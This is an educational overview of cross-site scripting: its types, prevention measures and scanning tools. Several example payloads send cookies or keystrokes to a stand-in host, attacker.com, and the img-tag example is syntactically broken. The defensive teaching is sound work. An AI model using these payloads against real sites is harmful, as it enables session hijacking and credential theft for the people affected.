Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) is **a web application vulnerability where attackers inject malicious scripts into web pages viewed by other users**. These scripts execute in the victim's browser, enabling attackers to **steal sensitive data, hijack sessions, or perform other malicious actions**.

1. Types of XSS Attacks

a. Reflected XSS

- Definition: Malicious scripts are **injected into a web application and immediately reflected back** to the victim in the response.
- How It Works
    1. An attacker sends a **malicious link containing the payload** (e.g., in a URL query string).
    2. The web server **includes the payload in the response** without proper sanitization.
    3. The victim **clicks the link, and the script executes in their browser**.
- Example
    - If the server embeds q directly into the page without escaping, the script runs in the victim's browser.

```
https://example.com/search?q=<script>alert('XSS')</script>
```

- Use Cases for Attack
    - **Phishing links**.
    - Delivering payloads for credential theft or session hijacking.

b. Persistent (Stored) XSS

- Definition: The malicious script is **stored on the server** (e.g., in a database) and served to users whenever they visit the affected page.
- How It Works
    1. The attacker **submits** malicious input (e.g., a script) to a website.
    2. The website **stores this input** (e.g., in a user comment or profile).
    3. The malicious script is displayed and executed in other users' browsers **when they view the content**.
- Example:
    - A comment form accepts:
        - Other users viewing the comment section trigger the script.

```
<script>alert('XSS')</script>
```

- Use Cases for Attack:
    - Defacing websites.
    - Targeting multiple users simultaneously with session theft or malware.

c. DOM-Based (Client-Side) XSS

- Definition: The malicious script is **injected and executed entirely in the browser, without involving the server**. The application's client-side JavaScript manipulates the DOM insecurely.
- How It Works
    1. The attacker **crafts a malicious URL with a payload** (e.g., in a hash fragment or query parameter).
    2. The victim **clicks the link, and the vulnerable client-side JavaScript executes the payload in the DOM**.
    3. **No server-side** reflection or storage occurs.
- Example:
    - JavaScript dynamically modifies the page based on the URL fragment:

```
document.getElementById('output').innerHTML = location.hash;
```

- URL:

```
https://example.com/#<script>alert('XSS')</script>
```

- Use Cases for Attack:
    - Exploiting insecure JavaScript handling of user input.

2. Using <img> Tags in XSS Attacks

- <img> tags can be used to **load external resources or execute scripts** indirectly by exploiting cross-origin HTTP requests.
- Example of <img> in XSS
    - This sends the user's cookies to the attacker's server.

```
<img src="https://attacker.com/steal?cookie=" + document.cookie>
```

- Why <img> Tags Are Effective
    - They don't require user interaction to trigger.
    - Browsers automatically fetch the resource, making it a reliable vector for cross-origin requests.

3. Common XSS Attack Payloads

- Stealing Cookies

```
<script>document.location="https://attacker.com/?cookie=" +
document.cookie</script>
```

- Keylogging

```
<script>
document.onkeypress = function(e) {
  fetch("https://attacker.com/log?key=" + e.key);
};
</script>
```

- Session Hijacking

```
<script>
fetch("https://example.com/logout");
fetch("https://attacker.com/steal?session=" + document.cookie);
</script>
```

4. Mitigating XSS

a. Input Validation and Sanitization

- **Validate** all user **input on the server side and client side**.
- Escape special characters (<, >, "):
  - Use libraries like DOMPurify for sanitization.

b. Output Encoding

- Properly **encode output** to prevent scripts from being interpreted as code:
  - HTML Encoding:

```
& -> &amp;
< -> &lt;
> -> &gt;
" -> &quot;
```

- JavaScript Encoding
  - Escape values embedded in JavaScript code.

c. Content Security Policy (CSP)

- **Enforce a strict CSP** to limit where scripts can be loaded from:

```
Content-Security-Policy: script-src 'self' https://trusted-cdn.com
```

d. HTTPOnly and Secure Cookies

- **Mark cookies as HttpOnly** to prevent access via JavaScript.
- Example

```
Set-Cookie: sessionId=abc123; HttpOnly; Secure
```

e. Avoid Dangerous Practices

- Avoid directly inserting untrusted input into the DOM using innerHTML, document.write, or eval.

5. Detection Tools for XSS Vulnerabilities

Tool	Purpose
Burp Suite	Automated scanning for XSS vulnerabilities in web applications.
OWASP ZAP	Open-source tool to detect XSS and other web vulnerabilities.
Acunetix	Comprehensive security scanner for web applications.
DOM Snitch	A Chrome extension to detect DOM-based XSS vulnerabilities.

6. Summary of XSS Types

Type	Description	Example
Reflected XSS	Malicious script is reflected off the server and executed in the victim's browser.	Payload in URL query parameters.
Persistent XSS	Malicious script is stored on the server and served to all users viewing the affected resource.	Injected into comment fields or user profiles.
DOM-Based XSS	Malicious script is executed in the client's browser without server involvement.	Exploits insecure JavaScript like innerHTML or location.hash.

7. Best Practices to Prevent XSS

1. Use a Framework with Built-in Security

- Frameworks like React or Angular handle DOM manipulation securely by default.

2. Enable a Content Security Policy (CSP)

- Restrict script sources to trusted domains.

3. Validate and Sanitize Input

- Reject or sanitize dangerous input.

4. Escape and Encode Output

- Encode all dynamic data before rendering.

5. Train Developers

- Educate developers about XSS risks and secure coding practices.

XSS attacks exploit web applications to execute malicious scripts in a user's browser, leading to data theft, session hijacking, or worse. Understanding the different types of XSS (Reflected, Persistent, DOM-Based) and employing robust mitigation strategies—such as input validation, CSP, and output encoding—are essential for securing modern web applications against this pervasive threat.